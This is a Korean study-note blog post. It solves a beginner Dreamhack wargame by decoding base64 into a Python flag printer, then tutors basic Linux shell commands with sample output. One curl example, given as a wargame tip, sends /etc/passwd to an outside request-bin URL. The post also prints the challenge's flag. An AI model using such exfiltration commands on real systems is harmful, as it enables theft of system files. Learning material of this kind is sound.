참고※참고 자료는 드림핵을 이용하였습니다.
※드림핵의 로드맵대로 공부할 예정입니다.
※스스로를 위해 정리한 참고 자료입니다.
Description
"Welcome! 👋"을 출력하는 html 페이지입니다.
소스 코드를 확인하여 문제를 풀고 플래그를 획득하세요.
플래그 형식은 DH{...} 입니다.
- 아래 문자는 HTML base64로 인코딩된 문자인 것 같음
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwphc2M9WzY4LCA3MiwgMTIzLCA5OCwgMTAxLCA0OCwgNTIsIDU0LCA5OCwgNTUsIDUzLCA1MCwgNTAsIDk3LCA5NywgNTAsIDEwMSwgNTAsIDU2LCAxMDIsIDUwLCA1NSwgNTQsIDEwMSwgNDgsIDk5LCA1NywgNDksIDQ4LCA1MywgNTAsIDQ5LCAxMDIsIDUwLCA1MSwgOTcsIDQ4LCA1MywgNTYsIDU1LCA0OCwgNDgsIDUzLCA5NywgNTYsIDUxLCA1NSwgNTUsIDUxLCA1NSwgNDgsIDk3LCA0OSwgNDksIDEwMSwgNTMsIDEwMSwgNTIsIDEwMCwgOTksIDQ5LCA1MywgMTAyLCA5OCwgNTAsIDk3LCA5OCwgMTI1XQphcnI9WzAgZm9yIGkgaW4gcmFuZ2UoNjgpXQpmb3IgaSBpbiByYW5nZSgwLDY4KToKICAgIGFycltpXT1jaHIoYXNjW2ldKQpmbGFnPScnLmpvaW4oYXJyKQpwcmludChmbGFnKQ==
#!/usr/bin/env python3
asc=[68, 72, 123, 98, 101, 48, 52, 54, 98, 55, 53, 50, 50, 97, 97, 50, 101, 50, 56, 102, 50, 55, 54, 101, 48, 99, 57, 49, 48, 53, 50, 49, 102, 50, 51, 97, 48, 53, 56, 55, 48, 48, 53, 97, 56, 51, 55, 55, 51, 55, 48, 97, 49, 49, 101, 53, 101, 52, 100, 99, 49, 53, 102, 98, 50, 97, 98, 125]
arr=[0 for i in range(68)]
for i in range(0,68):
arr[i]=chr(asc[i])
flag=''.join(arr)
print(flag)
python 코드 해석
- asc 리스트 : ASCII 코드로 이루어진 숫자들의 배열
- arr 리스트 : asc의 각 요소를 chr()로 문자로 변환하여 새 리스트에 저장
- flag : 모든 문자를 하나의 문자열로 결합하여 flag에 저장
- print : flag 값을 출력
셸은 유저가 리눅스 시스템을 이용할 수 있는 인터페이스입니다.
셸은 유저에게 입력을 받고 운영체제가 그것을 프로그램으로 처리하면 그 결과를 유저에게 출력한다.
터미널 실행 단축키
단축키를 눌러 터미널을 실행하면 bash 셸이 자동으로 실행됩니다.
bash가 실행되면 아래와 같은 텍스트가 출력됩니다.
user@user-VirtualBox:~$
- 이것을 셸 프롬프트라고 부릅니다.
- 유저는 셸 프롬프트를 보고 셸이 명령어를 입력 받을 준비가 되었음을 알 수 있습니다.
셸을 사용하여 리눅스를 이용하기 위해 필요한 기초적인 명령어들을 알아보겠습니다.
sudo apt update
는 apt 명령어로 설치 가능한 소프트웨어 패키지 목록을 업데이트합니다.그리고 각 소프트웨어 패키지 별로 어떤 버전을 설치할 수 있는지도 없데이트합니다.
sudo apt update
실행 결과는 다음과 같습니다.user@user-VirtualBox:~$ sudo apt update [sudo] password for user: Get:1 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB] Hit:2 http://kr.archive.ubuntu.com/ubuntu jammy InRelease Hit:3 http://kr.archive.ubuntu.com/ubuntu jammy-updates InRelease Hit:4 http://kr.archive.ubuntu.com/ubuntu jammy-backports InRelease Fetched 110 kB in 2s (60.0 kB/s) Reading package lists... Done Building dependency tree... Done Reading state information... Done 3 packages can be upgraded. Run 'apt list --upgradable' to see them. user@user-VirtualBox:~$
리눅스에 설치된 소프트웨어 패키지의 버전을 업그레이드합니다.
오래된 소프트웨어 패키지에 존재하는 취약점은 보안 문제를 일으킬 수 있습니다.
따라서 주기적으로 소프트웨어 패키지를 업그레이드하여 보안 문제를 예방하는 작업이 중요합니다.
sudo apt upgrade
실행 결과는 다음과 같습니다.user@user-VirtualBox:~$ sudo apt upgrade Reading package lists... Done Building dependency tree... Done Reading state information... Done Calculating upgrade... Done The following packages were automatically installed and are no longer required: libflashrom1 libftdi1-2 linux-headers-5.15.0-43 linux-headers-5.15.0-43-generic linux-image-5.15.0-43-generic linux-modules-5.15.0-43-generic linux-modules-extra-5.15.0-43-generic Use 'sudo apt autoremove' to remove them. # # News about significant security updates, features and services will # appear here to raise awareness and perhaps tease /r/Linux ;) # Use 'pro config set apt_news=false' to hide this and future APT news. # The following packages have been kept back: libglib2.0-0 libglib2.0-bin libglib2.0-data 0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded. user@user-VirtualBox:~$
현재 유저의 유저 ID와 해당 유저가 속해있는 그룹 ID를 출력합니다.
리눅스는 권한을 기반으로 파일을 읽고 쓰고 실행할 수 있기 때문에 주로 자신이 해당하는 권한을 가지고 있는지 확인하기 위해 사용하는 명령어입니다.
user@user-VirtualBox:~$ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) user@user-VirtualBox:~$
Print Working Directory의 줄임말로 현재 작업 중인 디렉토리의 경로를 출력합니다.
아래 pwd 명령어 실행 결과에 따르면 현재 /home/user 디렉토리에 위치함을 알 수 있습니다.user@user-VirtualBox:~$ pwd /home/user user@user-VirtualBox:~$
List의 줄임말로 디렉토리의 내용을 출력하는 명령어입니다.
ls
명령어 실행 결과는 다음과 같습니다.user@user-VirtualBox:~$ ls Desktop Documents Downloads Music Pictures Public snap Templates Videos user@user-VirtualBox:~$
-l
플래그를 추가한 형태인ls -l
을 실행하면 다음과 같이 더 자세한 정보를 함께 출력합니다.user@user-VirtualBox:~$ ls -l total 36 drwxr-xr-x 2 user user 4096 11월 30 18:46 Desktop drwxr-xr-x 2 user user 4096 11월 30 18:46 Documents drwxr-xr-x 2 user user 4096 11월 30 18:46 Downloads drwxr-xr-x 2 user user 4096 11월 30 18:46 Music drwxr-xr-x 2 user user 4096 11월 30 18:46 Pictures drwxr-xr-x 2 user user 4096 11월 30 18:46 Public drwx------ 3 user user 4096 11월 30 18:45 snap drwxr-xr-x 2 user user 4096 11월 30 18:46 Templates drwxr-xr-x 2 user user 4096 11월 30 18:46 Videos user@user-VirtualBox:~$
- 현재 디렉토리 뿐만 아니라 임의 디렉토리의 내용을 출력하는 것도 가능합니다.
- 루트 디렉토리인
/
디렉토리의 내용을 출력하는ls -l /
을 실행하면 다음과 같습니다.user@user-VirtualBox:~$ ls -l / total 3991632 lrwxrwxrwx 1 root root 7 11월 30 18:15 bin -> usr/bin drwxr-xr-x 4 root root 4096 12월 1 14:10 boot drwxrwxr-x 2 root root 4096 11월 30 18:25 cdrom drwxr-xr-x 19 root root 4180 12월 1 14:25 dev drwxr-xr-x 130 root root 12288 12월 1 14:09 etc drwxr-xr-x 3 root root 4096 11월 30 18:27 home lrwxrwxrwx 1 root root 7 11월 30 18:15 lib -> usr/lib lrwxrwxrwx 1 root root 9 11월 30 18:15 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 11월 30 18:15 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 11월 30 18:15 libx32 -> usr/libx32 drwx------ 2 root root 16384 11월 30 18:14 lost+found drwxr-xr-x 3 root root 4096 11월 30 19:49 media drwxr-xr-x 2 root root 4096 8월 9 20:48 mnt drwxr-xr-x 3 root root 4096 11월 30 19:55 opt dr-xr-xr-x 260 root root 0 12월 1 14:11 proc drwx------ 4 root root 4096 12월 1 14:17 root drwxr-xr-x 34 root root 920 12월 1 18:01 run lrwxrwxrwx 1 root root 8 11월 30 18:15 sbin -> usr/sbin drwxr-xr-x 11 root root 4096 8월 9 20:55 snap drwxr-xr-x 2 root root 4096 8월 9 20:48 srv -rw------- 1 root root 4087349248 11월 30 18:15 swapfile dr-xr-xr-x 13 root root 0 12월 1 14:11 sys drwxrwxrwt 21 root root 4096 12월 1 18:01 tmp drwxr-xr-x 14 root root 4096 8월 9 20:48 usr drwxr-xr-x 14 root root 4096 8월 9 20:54 var user@user-VirtualBox:~$
Change Directory의 줄임말로 작업중인 디렉토리를 변경하는 명령어입니다.
명령어 설명에 앞서 절대 경로(Absolute Path) 와 상대 경로(Relative Path) 에 대해 알아야 합니다.
절대 경로는 루트 디렉토리 / 를 시작으로 모든 경로를 적어서 표현하는 경로입니다./home/user
도 절대 경로 입니다.
상대 경로는 현재 디렉토리를 기준으로 상위 디렉토리 또는 하위 디렉토리로 뻗어 나가는 경로를 말합니다.
예를 들어cd ..
는 현재 디렉토리에서 부모 디렉토리로 이동합니다.
가령 현재 디렉토리가/home/user
일 때cd ..
를 실행하면 /home 으로 이동합니다.
몇 가지 특별히 정해진 고유한 경로도 있습니다.
예를 들어~
는 현재 유저의 홈 디렉토리이며,-
는 이전에 위치했던 디렉토리를 나타냅니다.
- 다음은
cd
명령어와pwd
명령어를 실행한 예시입니다.user@user-VirtualBox:~$ pwd /home/user user@user-VirtualBox:~$ cd / user@user-VirtualBox:/$ pwd / user@user-VirtualBox:/$ cd /home/user user@user-VirtualBox:~$ pwd /home/user user@user-VirtualBox:~$ cd .. user@user-VirtualBox:/home$ pwd /home user@user-VirtualBox:/home$ cd ~ user@user-VirtualBox:~$ pwd /home/user user@user-VirtualBox:~$
Make Directory의 줄임말로 디렉토리를 생성하는 명령어입니다.
/home/user
디렉토리에 위치할 때mkdir new_dir
명령어로new_dir
디렉토리를 생성하면, 다음과 같이new_dir
가 새롭게 추가됩니다.user@user-VirtualBox:~$ mkdir new_dir user@user-VirtualBox:~$ ls -l total 40 drwxr-xr-x 2 user user 4096 11월 30 18:46 Desktop drwxr-xr-x 2 user user 4096 11월 30 18:46 Documents drwxr-xr-x 2 user user 4096 11월 30 18:46 Downloads drwxr-xr-x 2 user user 4096 11월 30 18:46 Music drwxrwxr-x 2 user user 4096 12월 1 20:58 new_dir <<<<<<<<<< 새롭게 추가된 디렉토리 drwxr-xr-x 2 user user 4096 11월 30 18:46 Pictures drwxr-xr-x 2 user user 4096 11월 30 18:46 Public drwx------ 3 user user 4096 11월 30 18:45 snap drwxr-xr-x 2 user user 4096 11월 30 18:46 Templates drwxr-xr-x 2 user user 4096 11월 30 18:46 Videos user@user-VirtualBox:~$
touch
명령어는 비어 있는 새로운 파일을 만드는 데 사용합니다.
- 앞서 생성한
new_dir
디렉토리로 이동 후ls -l
명령어를 실행해보면 아무런 파일도 존재하지 않습니다.user@user-VirtualBox:~$ cd new_dir user@user-VirtualBox:~/new_dir$ ls -l total 0 user@user-VirtualBox:~/new_dir$
- 이때
touch new_file
명령어를 실행한 후ls -l
을 실행하면, 다음과 같이new_file
파일이 생성되었습니다.user@user-VirtualBox:~/new_dir$ touch new_file user@user-VirtualBox:~/new_dir$ ls -l total 0 -rw-rw-r-- 1 user user 0 12월 1 20:59 new_file user@user-VirtualBox:~/new_dir$
Move의 줄임말로 파일이나 디렉토리의 위치를 옮길 때 사용하는 명령어입니다.
파일이나 디렉토리의 이름을 변경할 때에도 사용할 수 있습니다.
- 먼저 아래와 같이 파일 이름을 변경할 수 있습니다.
new_file
파일의 이름을old_file
로 변경하는 모습입니다.user@user-VirtualBox:~/new_dir$ ls -l total 0 -rw-rw-r-- 1 user user 0 12월 1 20:59 new_file user@user-VirtualBox:~/new_dir$ mv new_file old_file user@user-VirtualBox:~/new_dir$
- 아래와 같이 파일을 옮길 수도 있습니다.
old_file
을 상위 디렉토리로 옮기는 모습입니다.user@user-VirtualBox:~/new_dir$ ls old_file user@user-VirtualBox:~/new_dir$ ls .. Desktop Downloads new_dir Public Templates Documents Music Pictures snap Videos user@user-VirtualBox:~/new_dir$ mv old_file .. user@user-VirtualBox:~/new_dir$ ls user@user-VirtualBox:~/new_dir$ ls .. Desktop Downloads new_dir Pictures snap Videos Documents Music old_file Public Templates user@user-VirtualBox:~/new_dir$
Remove의 줄임말로 파일이나 디렉토리를 삭제하는 명령어입니다.
- 다음은
abcd
파일을 생성한 후 삭제하는 모습입니다.user@user-VirtualBox:~/new_dir$ touch abcd user@user-VirtualBox:~/new_dir$ ls -l total 0 -rw-rw-r-- 1 user user 0 12월 2 11:05 abcd user@user-VirtualBox:~/new_dir$ rm abcd user@user-VirtualBox:~/new_dir$ ls -l total 0 user@user-VirtualBox:~/new_dir$
디렉토리 삭제는
-r
플래그를 추가한rm -r
로 수행할 수 있습니다.
- 다음은
dir
디렉토리를 생성한 후 삭제하는 모습입니다.user@user-VirtualBox:~/new_dir$ mkdir dir user@user-VirtualBox:~/new_dir$ ls -l total 4 drwxrwxr-x 2 user user 4096 12월 2 11:11 dir user@user-VirtualBox:~/new_dir$ rm -r dir user@user-VirtualBox:~/new_dir$ ls -l total 0 user@user-VirtualBox:~/new_dir$
파일의 내용을 출력하는 명령어입니다.
cat 파일경로
형식으로 사용할 수 있습니다.
다음은/etc/passwd
파일의 내용을 출력하는 모습입니다.
/etc/passwd
파일은 운영체제에 접근할 수 있는 유저 목록을 담고 있습니다.user@user-VirtualBox:~/new_dir$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin ... (생략) user:x:1000:1000:user,,,:/home/user:/bin/bash fwupd-refresh:x:128:136:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin vboxadd:x:999:1::/var/run/vboxadd:/bin/false user@user-VirtualBox:~/new_dir$
파일의 유형을 출력하는 명령어입니다.
file 파일경로
형식으로 사용할 수 있습니다. 다음은/bin/ls
파일의 유형을 출력하는 모습입니다.
/bin/ls
파일은ls
명령어를 입력하면 실행되는 실행 파일입니다.user@user-VirtualBox:~$ file /bin/ls /bin/ls: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=897f49cafa98c11d63e619e7e40352f855249c13, for GNU/Linux 3.2.0, stripped user@user-VirtualBox:~$
셸에 유저가 입력한 텍스트를 출력합니다.
다음은
echo
명령어로Hello World!
를 출력하는 모습입니다.user@user-VirtualBox:~/new_dir$ echo "Hello world!" Hello world! user@user-VirtualBox:~/new_dir$
echo
명령어를 사용해서 파일을 생성할 수도 있습니다.
다음과 같이echo
명령문 끝에> 파일명
을 이어 붙여 실행하면파일명
을 이름으로 가지는 파일을 생성하고echo
뒤에 입력한 내용을 파일 내용으로 저장합니다.
- 다음은 파일명이
hello
이고 내용이Hello world!
인 파일을 생성한 후 그 내용을 출력하는 모습입니다.user@user-VirtualBox:~/new_dir$ ls -l total 0 user@user-VirtualBox:~/new_dir$ echo "Hello world!" > hello user@user-VirtualBox:~/new_dir$ ls -l total 4 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello user@user-VirtualBox:~/new_dir$ cat hello Hello world! user@user-VirtualBox:~/new_dir$
Copy의 줄임말로 파일이나 디렉토리를 복사하는 명령어입니다.
다음은 위에서 생성한
hello
파일을world
라는 이름으로 복사하는 모습입니다.
디렉토리를 복사할 때는-r
플래그를 붙인 형태인cp -r
을 사용합니다.user@user-VirtualBox:~/new_dir$ ls -l total 4 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello user@user-VirtualBox:~/new_dir$ cp hello world user@user-VirtualBox:~/new_dir$ ls -l total 8 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello -rw-rw-r-- 1 user user 13 12월 2 13:08 world user@user-VirtualBox:~/new_dir$ cat world Hello world! user@user-VirtualBox:~/new_dir$
전체에서 특정 문자열을 찾을 때 사용합니다.
grep 문자열 파일
형식으로 사용할 수 있습니다.
- 다음은
grep root /etc/passwd
를 수행하여/etc/passwd
파일에서root
문자열이 포함된 행을 출력하는 모습입니다.user@user-VirtualBox:~/new_dir$ grep root /etc/passwd root:x:0:0:root:/root:/bin/bash nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
Manual의 줄임말로 특정 명령어의 매뉴얼을 보여주는 명령어입니다.
매뉴얼은 명령어 사용법, 옵션, 예제 등 유용한 정보를 담고 있습니다.
- 다음은
man cp
명령어 실행 결과입니다.- 명령어를 실행하면 아래와 같이
cp
명령어의 매뉴얼을 보여줍니다.CP(1) User Commands CP(1) NAME cp - copy files and directories SYNOPSIS cp [OPTION]... [-T] SOURCE DEST cp [OPTION]... SOURCE... DIRECTORY cp [OPTION]... -t DIRECTORY SOURCE... DESCRIPTION Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY. Mandatory arguments to long options are mandatory for short options too. -a, --archive same as -dR --preserve=all --attributes-only don't copy the file data, just the attributes --backup[=CONTROL] Manual page cp(1) line 1 (press h for help or q to quit)
client URL의 줄임말로 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어입니다.
curl [옵션] URL
형식으로 사용할 수 있으며, HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원합니다.
- 다음은 ‘http://www.google.com ’ 웹 서버의 콘텐츠를 반환하여 출력하는 모습입니다.
user@user-VirtualBox:~$ curl https://www.google.com <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="ko"> ... (생략) user@user-VirtualBox:~$
curl
명령어의 주요 옵션은 다음과 같습니다. 아래 옵션들을 지금 모두 이해할 필요는 없으며, 다양한 방식으로 사용할 수 있다는 점을 기억하시면 됩니다.
-o file
: 전송 받은 데이터를 파일에 저장합니다.-i
: 결과 값에 HTTP 응답 헤더를 포함합니다.-X
"method" : HTTP 요청 메소드를 지정합니다.-d
"key=value" : HTTP POST 메소드로 데이터를 전송합니다.
curl을 이용한 명령어 실행 결과 전송curl
은 워게임 문제를 풀 때도 유용하게 사용됩니다.
예를 들어 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를curl
명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능합니다.
다음은 서버 내/etc/passwd
파일을https://hmqtzgx.request.dreamhack.games
에 POST 데이터로 전송하는 예시입니다.$ curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"
와일드카드(wildcards)는 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자들을 의미합니다.
주로 명령어를 다른 문자열로 대체하기 위해 사용합니다.
?
a-z, 0-9 범위 내 임의의 1개 문자로 대체됩니다.
- 다음은
cat he?lo
를 실행하여hello
파일을 출력하는 모습입니다.user@user-VirtualBox:~/new_dir$ ls -l total 8 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello -rw-rw-r-- 1 user user 13 12월 2 13:08 world user@user-VirtualBox:~/new_dir$ cat he?lo Hello world! user@user-VirtualBox:~/new_dir$
*
a-z, 0-9 범위 내 임의의 0개 이상 문자로 대체됩니다.
- 다음은
cat h*
명령어를 입력하여hello
는 모습입니다.user@user-VirtualBox:~/new_dir$ cat h* Hello world! user@user-VirtualBox:~/new_dir$
[]
[문자1-문자2] 혹은 [문자1, 문자2, …] 형태로 범위를 지정합니다. 범위 내 모든 문자로 대체될 수 있습니다.
- 다음은
ls test[0-9]
를 실행하여 파일명이test
로 시작하고 마지막이 숫자인 파일을 모두 출력하는 모습입니다.user@user-VirtualBox:~/new_dir$ ls -l total 8 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello -rw-rw-r-- 1 user user 13 12월 2 13:08 world user@user-VirtualBox:~/new_dir$ touch test1 test2 test3 user@user-VirtualBox:~/new_dir$ ls -l total 8 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello -rw-rw-r-- 1 user user 0 12월 2 13:10 test1 -rw-rw-r-- 1 user user 0 12월 2 13:10 test2 -rw-rw-r-- 1 user user 0 12월 2 13:10 test3 -rw-rw-r-- 1 user user 13 12월 2 13:08 world user@user-VirtualBox:~/new_dir$ ls test[0-9] test1 test2 test3 user@user-VirtualBox:~/new_dir$
리다이렉션(redirection)은 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경하는 작업입니다.
주로 어떤 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력으로 전달하는 형태로 리다이렉션합니다.
명령어>파일
명령어 표준 출력을 파일로 변경합니다.
파일이 없으면 새로 만들고, 있으면 덮어씁니다.
- 다음은
ls test[0-9]
명령어 결과를world
파일에 쓰는 예시입니다.user@user-VirtualBox:~/new_dir$ ls test[0-9] test1 test2 test3 user@user-VirtualBox:~/new_dir$ ls test[0-9] > world user@user-VirtualBox:~/new_dir$ cat world test1 test2 test3 user@user-VirtualBox:~/new_dir$
명령어>>파일
명령어 표준 출력을 파일로 변경합니다.
파일이 없으면 새로 만들고, 있으면 이어서 씁니다.
- 다음은
cat hello
명령어 결과를world
파일에 쓰는 예시입니다.user@user-VirtualBox:~/new_dir$ cat hello hello user@user-VirtualBox:~/new_dir$ cat hello >> world user@user-VirtualBox:~/new_dir$ cat world test1 test2 test3 hello user@user-VirtualBox:~/new_dir$
명령어<파일
명령어 표준 입력을 파일로 변경합니다.
파일로부터 표준 입력을 받아 명령어를 수행합니다.
- 다음은
world
파일 내용을 표준 입력으로 받아grep test
명령어를 수행하는 예시입니다.user@user-VirtualBox:~/new_dir$ cat world test1 test2 test3 hello user@user-VirtualBox:~/new_dir$ grep test < world test1 test2 test3 user@user-VirtualBox:~/new_dir$
파이프
파이프(pipe)는 리다이렉션의 한 형태로, 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용합니다.
파이프는|
문자로 나타냅니다.
- 다음은
ls -l
명령 결과에서hello
가 포함된 행을 찾아 출력하는 예시입니다.user@user-VirtualBox:~/new_dir$ ls -l total 8 -rw-rw-r-- 1 user user 13 12월 2 13:05 hello -rw-rw-r-- 1 user user 0 12월 2 13:10 test1 -rw-rw-r-- 1 user user 0 12월 2 13:10 test2 -rw-rw-r-- 1 user user 0 12월 2 13:10 test3 -rw-rw-r-- 1 user user 13 12월 2 13:08 world user@user-VirtualBox:~/new_dir$ ls -l | grep hello -rw-rw-r-- 1 user user 13 12월 2 13:05 hello user@user-VirtualBox:~/new_dir$